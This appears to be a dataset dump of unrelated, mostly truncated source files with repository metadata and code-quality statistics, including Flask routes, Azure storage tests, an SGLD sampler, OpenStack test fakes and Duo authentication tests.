"Apache-2.0"
] | 14 | 2020-04-02T14:54:58.000Z | 2022-02-14T05:28:54.000Z | testMinTree.py | JunhaoWang/fraudar | 0bb1f95f1a8846db80e871b103d6a9586d523ffe | [
"Apache-2.0"
] | null | null | null | testMinTree.py | JunhaoWang/fraudar | 0bb1f95f1a8846db80e871b103d6a9586d523ffe | [
"Apache-2.0"
] | 2 | 2019-11-28T05:20:30.000Z | 2021-09-03T09:53:38.000Z | import math
import random
T = MinTree([1,4,2,5,3])
T.dump()
T.popMin()
T.dump()
T.popMin()
T.dump()
T.changeVal(4, 3)
T.dump()
T.popMin()
T.dump()
T.popMin()
T.dump()
T.changeVal(4, 10)
T.dump()
T.popMin()
T.dump()
T = SamplingTree([10,40,12,50,30], 1)
T.dump()
T.sample()
T.dump()
T.sample()
T.dump()
T.changeVal(3, 3... | 11.611111 | 37 | 0.619617 | 87 | 418 | 2.977011 | 0.229885 | 0.30888 | 0.34749 | 0.23166 | 0.772201 | 0.772201 | 0.72973 | 0.683398 | 0.683398 | 0.617761 | 0 | 0.069892 | 0.110048 | 418 | 36 | 38 | 11.611111 | 0.626344 | 0 | 0 | 0.823529 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.058824 | 0 | 0.058824 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
3309b62b2c0188fde8e4784c4cde760347528dd8 | 145 | py | Python | gunicorn_config.py | smegurus/smegurus-django | 053973b5ff0b997c52bfaca8daf8e07db64a877c | [
"BSD-4-Clause"
] | 1 | 2020-07-16T10:58:23.000Z | 2020-07-16T10:58:23.000Z | gunicorn_config.py | smegurus/smegurus-django | 053973b5ff0b997c52bfaca8daf8e07db64a877c | [
"BSD-4-Clause"
] | 13 | 2018-11-30T02:29:39.000Z | 2022-03-11T23:35:49.000Z | gunicorn_config.py | smegurus/smegurus-django | 053973b5ff0b997c52bfaca8daf8e07db64a877c | [
"BSD-4-Clause"
] | null | null | null | command = '/opt/django/smegurus-django/env/bin/gunicorn'
pythonpath = '/opt/django/smegurus-django/smegurus'
bind = '127.0.0.1:8001'
workers = 3
| 29 | 56 | 0.737931 | 22 | 145 | 4.863636 | 0.681818 | 0.392523 | 0.317757 | 0.429907 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.082707 | 0.082759 | 145 | 4 | 57 | 36.25 | 0.721805 | 0 | 0 | 0 | 0 | 0 | 0.648276 | 0.551724 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
334de6570d0227b7b5c0139697e035bdca74f29b | 193,944 | py | Python | python/sbp/observation.py | adammacudzinski/libsbp | 33f82210ff1262f8d6c180215277a0bb5eb3b65c | [
"MIT"
] | null | null | null | python/sbp/observation.py | adammacudzinski/libsbp | 33f82210ff1262f8d6c180215277a0bb5eb3b65c | [
"MIT"
] | null | null | null | python/sbp/observation.py | adammacudzinski/libsbp | 33f82210ff1262f8d6c180215277a0bb5eb3b65c | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# Copyright (C) 2015-2018 Swift Navigation Inc.
# Contact: https://support.swiftnav.com
#
# This source is subject to the license found in the file 'LICENSE' which must
# be be distributed together with this source. All other rights reserved.
#
# THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHO... | 29.855911 | 98 | 0.616441 | 24,242 | 193,944 | 4.756662 | 0.030856 | 0.042537 | 0.011864 | 0.012852 | 0.877887 | 0.872276 | 0.863326 | 0.857646 | 0.849451 | 0.834153 | 0 | 0.017862 | 0.282953 | 193,944 | 6,496 | 99 | 29.855911 | 0.811314 | 0.344842 | 0 | 0.792877 | 0 | 0 | 0.054903 | 0 | 0 | 0 | 0.003643 | 0 | 0 | 1 | 0.104843 | false | 0 | 0.001425 | 0.015385 | 0.226496 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
683e17c123ec58aabdebf37639862cca67858a2e | 269 | py | Python | code/chapter-1/exercise1_12.py | Kevin-Oudai/python-solutions | d67f6b14723b000fec0011c3e8156b805eb288f7 | [
"MIT"
] | null | null | null | code/chapter-1/exercise1_12.py | Kevin-Oudai/python-solutions | d67f6b14723b000fec0011c3e8156b805eb288f7 | [
"MIT"
] | null | null | null | code/chapter-1/exercise1_12.py | Kevin-Oudai/python-solutions | d67f6b14723b000fec0011c3e8156b805eb288f7 | [
"MIT"
] | null | null | null | import turtle as t
t.color("black")
t.forward(50)
t.right(90)
t.forward(50)
t.right(90)
t.forward(100)
t.right(90)
t.forward(100)
t.right(90)
t.forward(100)
t.right(90)
t.forward(50)
t.right(90)
t.forward(100)
t.back(50)
t.right(90)
t.forward(50)
t.back(100)
t.done()
| 12.227273 | 18 | 0.69145 | 60 | 269 | 3.1 | 0.216667 | 0.344086 | 0.301075 | 0.33871 | 0.774194 | 0.774194 | 0.774194 | 0.774194 | 0.607527 | 0.607527 | 0 | 0.159184 | 0.089219 | 269 | 21 | 19 | 12.809524 | 0.6 | 0 | 0 | 0.75 | 0 | 0 | 0.018587 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.05 | 0 | 0.05 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
68714a78c03c6acc6cc92a2ce17558dc65f6e1a5 | 37 | py | Python | ica/paraphraseator/datamodules/__init__.py | pedrorio/image_caption_augmentation | 683ed90cecd4bc12f65dc238f1ff2dedbbc1b666 | [
"MIT"
] | null | null | null | ica/paraphraseator/datamodules/__init__.py | pedrorio/image_caption_augmentation | 683ed90cecd4bc12f65dc238f1ff2dedbbc1b666 | [
"MIT"
] | null | null | null | ica/paraphraseator/datamodules/__init__.py | pedrorio/image_caption_augmentation | 683ed90cecd4bc12f65dc238f1ff2dedbbc1b666 | [
"MIT"
] | null | null | null | from . import ImageCaptionsDataModule | 37 | 37 | 0.891892 | 3 | 37 | 11 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.081081 | 37 | 1 | 37 | 37 | 0.970588 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
6872df2376b5207237c982baf7647120ba8ba462 | 18,543 | py | Python | app/v1/views/recipe_views.py | pndemo/yummy-recipes-api | ae6729bd1c886ce9872d83488a6eaa99e92be513 | [
"MIT"
] | null | null | null | app/v1/views/recipe_views.py | pndemo/yummy-recipes-api | ae6729bd1c886ce9872d83488a6eaa99e92be513 | [
"MIT"
] | 3 | 2019-12-20T23:17:20.000Z | 2022-03-21T22:16:25.000Z | app/v1/views/recipe_views.py | pndemo/yummy-recipes-api | ae6729bd1c886ce9872d83488a6eaa99e92be513 | [
"MIT"
] | 1 | 2017-12-13T12:44:11.000Z | 2017-12-13T12:44:11.000Z | """ Recipe view for creating, viewing, updating and deleting recipes """
from flask import jsonify, request, url_for
from flask_restful import Resource, reqparse
from sqlalchemy import exc
from app.v1.models.category_models import Category
from app.v1.models.recipe_models import Recipe
from app.v1.validators import da... | 39.791845 | 122 | 0.542091 | 1,855 | 18,543 | 5.302965 | 0.137466 | 0.052862 | 0.019315 | 0.019823 | 0.811223 | 0.802684 | 0.793026 | 0.784487 | 0.784182 | 0.760903 | 0 | 0.018881 | 0.377339 | 18,543 | 465 | 123 | 39.877419 | 0.833102 | 0.302648 | 0 | 0.797235 | 0 | 0 | 0.127178 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.02765 | false | 0 | 0.041475 | 0 | 0.170507 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
6884c3d0ff2f955835d4344cc95691c310650822 | 9,772 | py | Python | nova/tests/unit/scheduler/ironic_fakes.py | bopopescu/nova-token | ec98f69dea7b3e2b9013b27fd55a2c1a1ac6bfb2 | [
"Apache-2.0"
] | null | null | null | nova/tests/unit/scheduler/ironic_fakes.py | bopopescu/nova-token | ec98f69dea7b3e2b9013b27fd55a2c1a1ac6bfb2 | [
"Apache-2.0"
] | null | null | null | nova/tests/unit/scheduler/ironic_fakes.py | bopopescu/nova-token | ec98f69dea7b3e2b9013b27fd55a2c1a1ac6bfb2 | [
"Apache-2.0"
] | 2 | 2017-07-20T17:31:34.000Z | 2020-07-24T02:42:19.000Z | begin_unit
comment|'# Copyright 2014 OpenStack Foundation'
nl|'\n'
comment|'# All Rights Reserved.'
nl|'\n'
comment|'#'
nl|'\n'
comment|'# Licensed under the Apache License, Version 2.0 (the "License"); you may'
nl|'\n'
comment|'# not use this file except in compliance with the License. You may obtain'
nl|'\n'
co... | 12.723958 | 88 | 0.611543 | 1,528 | 9,772 | 3.806937 | 0.107984 | 0.102114 | 0.065326 | 0.06034 | 0.828434 | 0.802304 | 0.740416 | 0.716349 | 0.692281 | 0.686608 | 0 | 0.021305 | 0.092202 | 9,772 | 767 | 89 | 12.740548 | 0.634427 | 0 | 0 | 0.94133 | 0 | 0 | 0.375768 | 0.028039 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.001304 | 0 | 0.001304 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
d7bdd9b5f6f856c7ea2e4df64224e881ecb83b36 | 48,761 | py | Python | sdk/storage/azure-storage-blob/tests/test_cpk_n.py | vincenttran-msft/azure-sdk-for-python | 348b56f9f03eeb3f7b502eed51daf494ffff874d | [
"MIT"
] | 2,728 | 2015-01-09T10:19:32.000Z | 2022-03-31T14:50:33.000Z | sdk/storage/azure-storage-blob/tests/test_cpk_n.py | v-xuto/azure-sdk-for-python | 9c6296d22094c5ede410bc83749e8df8694ccacc | [
"MIT"
] | 17,773 | 2015-01-05T15:57:17.000Z | 2022-03-31T23:50:25.000Z | sdk/storage/azure-storage-blob/tests/test_cpk_n.py | v-xuto/azure-sdk-for-python | 9c6296d22094c5ede410bc83749e8df8694ccacc | [
"MIT"
] | 1,916 | 2015-01-19T05:05:41.000Z | 2022-03-31T19:36:44.000Z | # coding: utf-8
# -------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
# --------------------------------------------------------------------... | 45.742026 | 139 | 0.671315 | 5,638 | 48,761 | 5.415218 | 0.056935 | 0.070748 | 0.046674 | 0.038911 | 0.883757 | 0.866169 | 0.845731 | 0.824736 | 0.807638 | 0.785005 | 0 | 0.017835 | 0.247985 | 48,761 | 1,065 | 140 | 45.784977 | 0.814775 | 0.11743 | 0 | 0.753567 | 0 | 0 | 0.035681 | 0.009725 | 0 | 0 | 0 | 0.000939 | 0.151751 | 1 | 0.036316 | false | 0.002594 | 0.007782 | 0.001297 | 0.051881 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
d7f8d8704d1c69449ea4bd1c6ad25f66b054165d | 10,349 | py | Python | boundary_conditions.py | viswambhar-yasa/IGTO | 03001db03b17d1d2120740b9d3d7f0efe1f93faf | [
"MIT"
] | 4 | 2020-11-23T15:55:08.000Z | 2022-01-15T17:47:19.000Z | boundary_conditions.py | bhan5426/IGTO | 03001db03b17d1d2120740b9d3d7f0efe1f93faf | [
"MIT"
] | null | null | null | boundary_conditions.py | bhan5426/IGTO | 03001db03b17d1d2120740b9d3d7f0efe1f93faf | [
"MIT"
] | 3 | 2021-12-27T01:21:33.000Z | 2022-03-24T10:50:31.000Z | #AUTHOR : YASA VISWAMBHAR REDDY
#MATRICULATION NUMBER : 65074
#Personal Programming Project
#--------------------------------------------------------------------------------------------------------------#
#BOUNDARY CONDITIONS - Python file used to generate boundary conditions (element indices)
#------------------------... | 50.237864 | 252 | 0.641221 | 1,468 | 10,349 | 4.382834 | 0.089237 | 0.129313 | 0.166459 | 0.150451 | 0.907833 | 0.903326 | 0.903171 | 0.894311 | 0.873485 | 0.869288 | 0 | 0.031366 | 0.217509 | 10,349 | 206 | 253 | 50.237864 | 0.763151 | 0.159726 | 0 | 0.734848 | 0 | 0.007576 | 0.066141 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.068182 | false | 0 | 0.015152 | 0 | 0.151515 | 0.159091 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
0bdebe9871a3607566546160e6ca45aeb8acf508 | 38 | py | Python | ac.py | ReehGon/AC-DevOps | fcc71e8e8408eb9f7ce671c734f487aacae9ea90 | [
"Apache-2.0"
] | null | null | null | ac.py | ReehGon/AC-DevOps | fcc71e8e8408eb9f7ce671c734f487aacae9ea90 | [
"Apache-2.0"
] | null | null | null | ac.py | ReehGon/AC-DevOps | fcc71e8e8408eb9f7ce671c734f487aacae9ea90 | [
"Apache-2.0"
] | null | null | null | def soma(n1,n2):
return (n1 + n2)
| 12.666667 | 20 | 0.552632 | 7 | 38 | 3 | 0.714286 | 0.380952 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 0.263158 | 38 | 2 | 21 | 19 | 0.607143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 7 |
0be5a8dfd91d689ef2ca3245b82fc7c492088a87 | 70,311 | py | Python | app/routes.py | LABIOQUIM/visualdynamics | 41cbedd88f3405283d4d1ec829a106569b8691fa | [
"MIT"
] | 6 | 2020-07-18T05:17:28.000Z | 2022-03-31T09:58:40.000Z | app/routes.py | LABIOQUIM/visualdynamics | 41cbedd88f3405283d4d1ec829a106569b8691fa | [
"MIT"
] | 4 | 2020-02-05T14:59:25.000Z | 2022-03-23T19:45:00.000Z | app/routes.py | LABIOQUIM/visualdynamics | 41cbedd88f3405283d4d1ec829a106569b8691fa | [
"MIT"
] | 1 | 2022-01-15T13:56:28.000Z | 2022-01-15T13:56:28.000Z | from os import path, remove
from app import app, login_manager, db
from flask import render_template, request, redirect, url_for, flash, send_file, current_app
from .models import User
from flask_login import logout_user, login_required, login_user, current_user
from .config import os, Config
from .generate import gene... | 46.379288 | 173 | 0.55822 | 7,255 | 70,311 | 5.311234 | 0.070159 | 0.026263 | 0.033426 | 0.029585 | 0.886643 | 0.852049 | 0.835388 | 0.81717 | 0.804998 | 0.801676 | 0 | 0.00419 | 0.314375 | 70,311 | 1,516 | 174 | 46.379288 | 0.795133 | 0.088734 | 0 | 0.792469 | 0 | 0.001751 | 0.159132 | 0.013335 | 0 | 0 | 0 | 0.00066 | 0 | 1 | 0.035902 | false | 0.021891 | 0.019264 | 0.000876 | 0.147986 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
0be8c5a594400e0c6dfa6f29e116f294e2ed99a4 | 302 | py | Python | server/fb_folder/fb_exception.py | dundarahmet/plc_firebase_server | 0ebf1093468174c4079c8faa4651181e1298f5f6 | [
"Apache-2.0"
] | null | null | null | server/fb_folder/fb_exception.py | dundarahmet/plc_firebase_server | 0ebf1093468174c4079c8faa4651181e1298f5f6 | [
"Apache-2.0"
] | null | null | null | server/fb_folder/fb_exception.py | dundarahmet/plc_firebase_server | 0ebf1093468174c4079c8faa4651181e1298f5f6 | [
"Apache-2.0"
] | null | null | null | class SecurityKeyError(Exception):
def __init__(self, message):
super().__init__(message)
class ListenError(Exception):
def __init__(self, message):
super().__init__(message)
class ChildError(Exception):
def __init__(self, message):
super().__init__(message)
| 17.764706 | 34 | 0.678808 | 30 | 302 | 6.033333 | 0.333333 | 0.198895 | 0.265193 | 0.331492 | 0.767956 | 0.767956 | 0.767956 | 0.767956 | 0.530387 | 0 | 0 | 0 | 0.201987 | 302 | 16 | 35 | 18.875 | 0.751037 | 0 | 0 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 7 |
0408758e91d3409bf81e615ec36589c3e15d1e24 | 1,338 | gyp | Python | binding.gyp | evanlucas/node-lz4 | 1bcb05f952275e3d78f75c51b4b1e30eca200553 | [
"MIT"
] | 1 | 2022-01-25T04:16:21.000Z | 2022-01-25T04:16:21.000Z | binding.gyp | evanlucas/node-lz4 | 1bcb05f952275e3d78f75c51b4b1e30eca200553 | [
"MIT"
] | null | null | null | binding.gyp | evanlucas/node-lz4 | 1bcb05f952275e3d78f75c51b4b1e30eca200553 | [
"MIT"
] | null | null | null | {
'targets': [
{
'target_name': 'xxhash',
'cflags!': [ '-fno-exceptions' ],
'cflags_cc!': [ '-fno-exceptions' ],
'xcode_settings': { 'GCC_ENABLE_CPP_EXCEPTIONS': 'YES',
'CLANG_CXX_LIBRARY': 'libc++',
'MACOSX_DEPLOYMENT_TARGET': '10.7',
},
'msvs_settings': {
... | 27.306122 | 64 | 0.494021 | 129 | 1,338 | 4.906977 | 0.333333 | 0.066351 | 0.094787 | 0.052133 | 0.815166 | 0.755134 | 0.755134 | 0.755134 | 0.755134 | 0.755134 | 0 | 0.023182 | 0.290732 | 1,338 | 48 | 65 | 27.875 | 0.643836 | 0 | 0 | 0.5625 | 0 | 0 | 0.53139 | 0.14574 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
f0aed59548f9a49cf5463bd560d2c1ecae74dde1 | 140 | py | Python | examples/docs_snippets/docs_snippets_tests/concepts_tests/assets_tests/test_asset_io_manager.py | silentsokolov/dagster | 510bf07bf6906294d5a239d60079c88211002ebf | [
"Apache-2.0"
] | null | null | null | examples/docs_snippets/docs_snippets_tests/concepts_tests/assets_tests/test_asset_io_manager.py | silentsokolov/dagster | 510bf07bf6906294d5a239d60079c88211002ebf | [
"Apache-2.0"
] | null | null | null | examples/docs_snippets/docs_snippets_tests/concepts_tests/assets_tests/test_asset_io_manager.py | silentsokolov/dagster | 510bf07bf6906294d5a239d60079c88211002ebf | [
"Apache-2.0"
] | null | null | null | from docs_snippets.concepts.assets.asset_io_manager import assets_with_io_manager
def test():
assert len(assets_with_io_manager) == 2
| 23.333333 | 81 | 0.814286 | 22 | 140 | 4.772727 | 0.681818 | 0.257143 | 0.228571 | 0.361905 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008065 | 0.114286 | 140 | 5 | 82 | 28 | 0.83871 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0.333333 | true | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 8 |
f0d06f6ddd1b7cd8772cda7887dd6c65e59eae6f | 15,518 | py | Python | bin/gen_list.py | yux94/Pathology | 5a145b5ee106d32b08dbce57f395f4d62e5ece06 | [
"RSA-MD"
] | 3 | 2018-12-06T04:18:42.000Z | 2022-03-09T00:58:57.000Z | bin/gen_list.py | yux94/Pathology | 5a145b5ee106d32b08dbce57f395f4d62e5ece06 | [
"RSA-MD"
] | 1 | 2019-06-24T06:46:36.000Z | 2019-06-24T06:46:36.000Z | bin/gen_list.py | yux94/Pathology | 5a145b5ee106d32b08dbce57f395f4d62e5ece06 | [
"RSA-MD"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Tue Jul 17 20:52:34 2018
@author: SENSETIME\yuxian
"""
import os
import random
import numpy as np
from PIL import Image
def filter_50percent_pixel(mask):
if np.sum(mask==0.0)/float(mask.size) > 0.5: #tumor region 比例小
tumor = False
else: #t... | 39.892031 | 142 | 0.580423 | 1,902 | 15,518 | 4.473186 | 0.064143 | 0.067701 | 0.095205 | 0.122238 | 0.899389 | 0.890339 | 0.859191 | 0.83733 | 0.821932 | 0.805712 | 0 | 0.013182 | 0.222709 | 15,518 | 389 | 143 | 39.892031 | 0.692174 | 0.742299 | 0 | 0.28 | 0 | 0.08 | 0.188904 | 0.158357 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.08 | null | null | 0.08 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
0b147e57e9e49f36d711a4f838ff66d21ac36a78 | 2,526 | py | Python | sgld_sampler.py | chrku/TF2-Energy-Based-Models | a0712cbef86f41b48d3a645bdfc3a5c47c547cd1 | [
"MIT"
] | 6 | 2021-02-04T17:24:32.000Z | 2022-03-18T01:34:23.000Z | sgld_sampler.py | chrku/TF2-Energy-Based-Models | a0712cbef86f41b48d3a645bdfc3a5c47c547cd1 | [
"MIT"
] | null | null | null | sgld_sampler.py | chrku/TF2-Energy-Based-Models | a0712cbef86f41b48d3a645bdfc3a5c47c547cd1 | [
"MIT"
] | 2 | 2021-09-22T16:22:20.000Z | 2022-01-29T16:29:13.000Z | import tensorflow as tf
@tf.function
def sgld_sample(E, x_initial, num_steps, step_size, var, clip_thresh=tf.constant(0.01), constrain_results=False):
"""
Do SGLD (stochastic gradient Langevin dynamics) sampling step
:param E: Energy function
:param x_initial: initial sample position, of shape (batch_... | 45.107143 | 118 | 0.692399 | 400 | 2,526 | 4.175 | 0.23 | 0.023952 | 0.007186 | 0.031138 | 0.905389 | 0.877844 | 0.877844 | 0.877844 | 0.877844 | 0.877844 | 0 | 0.014588 | 0.212985 | 2,526 | 55 | 119 | 45.927273 | 0.825453 | 0.414489 | 0 | 0.758621 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.068966 | false | 0 | 0.034483 | 0 | 0.172414 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
50291fde1cde1ed4a1f521b7778f5e118537a93a | 502 | py | Python | pybrain/rl/environments/twoplayergames/capturegameplayers/__init__.py | sveilleux1/pybrain | 1e1de73142c290edb84e29ca7850835f3e7bca8b | [
"BSD-3-Clause"
] | 2,208 | 2015-01-02T02:14:41.000Z | 2022-03-31T04:45:46.000Z | pybrain/rl/environments/twoplayergames/capturegameplayers/__init__.py | sveilleux1/pybrain | 1e1de73142c290edb84e29ca7850835f3e7bca8b | [
"BSD-3-Clause"
] | 91 | 2015-01-08T16:42:16.000Z | 2021-12-11T19:16:35.000Z | pybrain/rl/environments/twoplayergames/capturegameplayers/__init__.py | sveilleux1/pybrain | 1e1de73142c290edb84e29ca7850835f3e7bca8b | [
"BSD-3-Clause"
] | 786 | 2015-01-02T15:18:20.000Z | 2022-02-23T23:42:40.000Z | from pybrain.rl.environments.twoplayergames.capturegameplayers.randomplayer import RandomCapturePlayer
from pybrain.rl.environments.twoplayergames.capturegameplayers.killing import KillingPlayer
from pybrain.rl.environments.twoplayergames.capturegameplayers.nonsuicide import NonSuicidePlayer
from pybrain.rl.environment... | 100.4 | 105 | 0.912351 | 45 | 502 | 10.177778 | 0.377778 | 0.120087 | 0.141921 | 0.272926 | 0.622271 | 0.622271 | 0 | 0 | 0 | 0 | 0 | 0 | 0.037849 | 502 | 5 | 106 | 100.4 | 0.94824 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 1 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
502ade2ab1b166cba60bf93f6825985514569761 | 12,981 | py | Python | psono/restapi/tests/utils/duo.py | dirigeant/psono-server | a18c5b3c4d8bbbe4ecf1615b210d99fb77752205 | [
"Apache-2.0",
"CC0-1.0"
] | 48 | 2018-04-19T15:50:58.000Z | 2022-01-23T15:58:11.000Z | psono/restapi/tests/utils/duo.py | dirigeant/psono-server | a18c5b3c4d8bbbe4ecf1615b210d99fb77752205 | [
"Apache-2.0",
"CC0-1.0"
] | 9 | 2018-09-13T14:56:18.000Z | 2020-01-17T16:44:33.000Z | psono/restapi/tests/utils/duo.py | dirigeant/psono-server | a18c5b3c4d8bbbe4ecf1615b210d99fb77752205 | [
"Apache-2.0",
"CC0-1.0"
] | 11 | 2019-09-20T11:53:47.000Z | 2021-07-18T22:41:31.000Z | from django.test import TestCase
from socket import gaierror
from ssl import SSLError
from mock import patch
import time
from restapi.utils import duo_auth_check, duo_auth_enroll, duo_auth_enroll_status, duo_auth_auth
class TestDuoAuthCheckUtils(TestCase):
def mock_check(self):
return {
